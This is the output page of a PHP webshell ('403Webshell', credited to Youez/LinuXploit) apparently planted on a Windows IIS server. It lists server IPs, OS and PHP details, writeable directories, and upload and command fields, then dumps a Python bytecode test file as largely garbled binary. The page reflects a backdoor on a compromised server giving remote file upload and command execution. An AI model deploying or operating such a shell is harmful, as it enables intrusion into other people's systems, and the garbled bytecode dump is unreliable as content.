403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/win_console_handler.cpython-315.pyc
R
>lqj�c��Qs]QHGsGs]PHs]PHs]PHs]PHs\\O\O2s	Qs
\	\
2s\OOOs\	\O1\m\O\m\Q6XcM\\]2%f\Q2\P2\O
P]\O(]*2s]\]$JP!)aYScript used to test os.kill on Windows, for issue #1220212

This script is started as a subprocess in test_os and is used to test the
CTRL_C_EVENT and CTRL_BREAK_EVENT signals, which requires a custom handler
to be written into the kill target.

See http://msdn.microsoft.com/en-us/library/ms685049%28v=VS.85%29.aspx for a
similar example in C.
)�wintypes�WINFUNCTYPEc�~�U[O6Xc]!U[O6Xc]![Q2]!)z8Handle a sig event and return 0 to terminate the processz
UNKNOWN EVENT)�signal�CTRL_C_EVENT�CTRL_BREAK_EVENT�print)�sigs&�-C:\Python315\\Lib\test\win_console_handler.py�
_ctrl_handlerr
s=��
�f�!�!�!��

�	

��'�'�	'��
�	�o����__main__z#Unable to add SetConsoleCtrlHandler)�__doc__�ctypesrrr�mmap�sys�BOOL�DWORD�HandlerRoutiner
�ctrl_handler�windll�kernel32�SetConsoleCtrlHandler�argtypes�restype�__name__r�exit�argv�m�rr	�<module>rs����)�
�
��
��X�]�]�H�N�N�;��
��m�,���
�
�.�.�D�D��"0�(�-�-�!@��� (�
�
����z�� ��q�1�1�
�3�4��R��	
�	�	�"�a����!��%�A��A�a�D���r

Youez - 2016 - github.com/yon3zu
LinuXploit